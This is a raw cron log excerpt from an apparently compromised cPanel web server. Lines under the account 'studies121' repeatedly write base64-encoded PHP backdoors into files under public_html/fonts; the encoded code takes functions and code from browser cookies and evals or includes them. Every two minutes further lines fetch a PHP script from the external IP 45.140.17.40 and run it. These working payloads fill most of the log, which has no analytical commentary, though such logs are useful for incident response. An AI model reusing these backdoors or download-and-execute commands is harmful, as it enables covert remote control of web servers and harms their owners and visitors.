Sep  2 12:50:01 ip-184-168-122-23 CROND[19078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:50:01 ip-184-168-122-23 CROND[19080]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 12:50:01 ip-184-168-122-23 CROND[19087]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 12:50:01 ip-184-168-122-23 CROND[19089]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 12:50:01 ip-184-168-122-23 CROND[19088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:50:01 ip-184-168-122-23 CROND[19084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:50:01 ip-184-168-122-23 CROND[19090]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 12:50:01 ip-184-168-122-23 CROND[19085]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 12:50:01 ip-184-168-122-23 CROND[19086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:51:01 ip-184-168-122-23 CROND[19258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:51:01 ip-184-168-122-23 CROND[19260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:51:01 ip-184-168-122-23 CROND[19261]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:51:01 ip-184-168-122-23 CROND[19259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:52:01 ip-184-168-122-23 CROND[19430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:52:01 ip-184-168-122-23 CROND[19431]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 12:52:01 ip-184-168-122-23 CROND[19432]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:52:01 ip-184-168-122-23 CROND[19436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:52:01 ip-184-168-122-23 CROND[19437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:53:01 ip-184-168-122-23 CROND[19517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:53:01 ip-184-168-122-23 CROND[19520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:53:01 ip-184-168-122-23 CROND[19519]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:53:01 ip-184-168-122-23 CROND[19523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:54:01 ip-184-168-122-23 CROND[19599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:54:01 ip-184-168-122-23 CROND[19601]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 12:54:01 ip-184-168-122-23 CROND[19603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:54:01 ip-184-168-122-23 CROND[19604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:54:01 ip-184-168-122-23 CROND[19602]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:55:01 ip-184-168-122-23 CROND[19704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:55:01 ip-184-168-122-23 CROND[19707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:55:01 ip-184-168-122-23 CROND[19709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:55:01 ip-184-168-122-23 CROND[19710]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 12:55:01 ip-184-168-122-23 CROND[19706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:55:01 ip-184-168-122-23 CROND[19708]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 12:56:01 ip-184-168-122-23 CROND[19890]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:56:01 ip-184-168-122-23 CROND[19894]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 12:56:01 ip-184-168-122-23 CROND[19895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:56:01 ip-184-168-122-23 CROND[19896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:56:01 ip-184-168-122-23 CROND[19893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:57:01 ip-184-168-122-23 CROND[19985]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:57:01 ip-184-168-122-23 CROND[19987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:57:01 ip-184-168-122-23 CROND[19988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:57:01 ip-184-168-122-23 CROND[19989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:58:01 ip-184-168-122-23 CROND[20067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:58:01 ip-184-168-122-23 CROND[20068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:58:01 ip-184-168-122-23 CROND[20070]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:58:01 ip-184-168-122-23 CROND[20071]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 12:58:01 ip-184-168-122-23 CROND[20069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:59:01 ip-184-168-122-23 CROND[20157]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:59:01 ip-184-168-122-23 CROND[20158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:59:01 ip-184-168-122-23 CROND[20159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:59:01 ip-184-168-122-23 CROND[20156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:00:01 ip-184-168-122-23 CROND[20258]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 13:00:01 ip-184-168-122-23 CROND[20261]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 13:00:01 ip-184-168-122-23 CROND[20263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:00:01 ip-184-168-122-23 CROND[20268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:00:01 ip-184-168-122-23 CROND[20267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:00:01 ip-184-168-122-23 CROND[20269]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 13:00:01 ip-184-168-122-23 CROND[20270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:00:01 ip-184-168-122-23 CROND[20271]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 13:01:01 ip-184-168-122-23 CROND[20369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:01:01 ip-184-168-122-23 CROND[20371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:01:01 ip-184-168-122-23 CROND[20373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:01:01 ip-184-168-122-23 CROND[20374]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 13:01:01 ip-184-168-122-23 CROND[20375]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 13:01:01 ip-184-168-122-23 CROND[20376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[20375]: starting 0anacron
Sep  2 13:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[20393]: finished 0anacron
Sep  2 13:02:01 ip-184-168-122-23 CROND[20473]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
